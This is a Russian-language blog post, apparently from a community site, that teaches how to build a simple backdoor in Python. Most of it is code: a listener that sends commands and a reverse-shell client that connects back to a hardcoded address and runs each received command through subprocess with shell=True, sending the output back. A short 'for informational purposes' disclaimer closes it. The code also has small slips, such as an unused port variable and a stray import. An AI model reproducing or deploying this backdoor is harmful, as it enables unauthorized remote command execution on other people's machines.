Создание бэкдора на Python1

Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton

Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.

Создание бэкдора на Python

Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:

1) Получение нашего локального IP и указанного порта.

2) Привязка IP-адреса и порта для создания сокета.

3) Запуск слушателя.

4) Отправка и получение команд в бесконечном цикле.

# Imports

import socket

# Getting our local IP and a specified port

HOST = '127.0.0.1' # '192.168.43.82'

PORT = 8081 # 2222

new_port = input('Input Host Port (Blank if default).')

if (new_port != "\n"):

REMOTE_PORT = new_port

# Binding the IP to the Port

# Creating a Socket

server = socket.socket()

server.bind((HOST, PORT))

# Starting the Listener

print('[+] Server Started')

print('[+] Listening For Client Connection ...')

server.listen(1)

client, client_addr = server.accept()

print(f'[+] {client_addr} Client connected to the server')

# Sending and receiving commands in an infinite loop

while True:

command = input('Enter Command : ')

command = command.encode()

client.send(command)

print('[+] Command sent')

output = client.recv(1024)

output = output.decode()

print(f"Output: {output}")

Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.

Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:

REMOTE_HOST = '127.0.0.1'

REMOTE_PORT = 8081 # 2222

client = socket.socket()

Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:

command = client.recv(1024)

command = command.decode()

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

Полный код сервера выглядит следующим образом:

# Imports

from ctypes.wintypes import INT

import socket

import subprocess

# Setting Up IP/Sockets

REMOTE_HOST = '127.0.0.1'

REMOTE_PORT = 8081 # 2222

client = socket.socket()

# Initializing Connection

print("[-] Connection Initiating...")

client.connect((REMOTE_HOST, REMOTE_PORT))

print("[-] Connection initiated!")

# Runtime Loop

while True:

print("[-] Awaiting commands...")

command = client.recv(1024)

command = command.decode()

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

output = op.stdout.read()

output_error = op.stderr.read()

print("[-] Sending response...")

client.send(output + output_error)

Информация предоставлена для ознакомительных целей!
Мы в телеграме!

Правила сообщества

Просьба уважать друг друга.

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества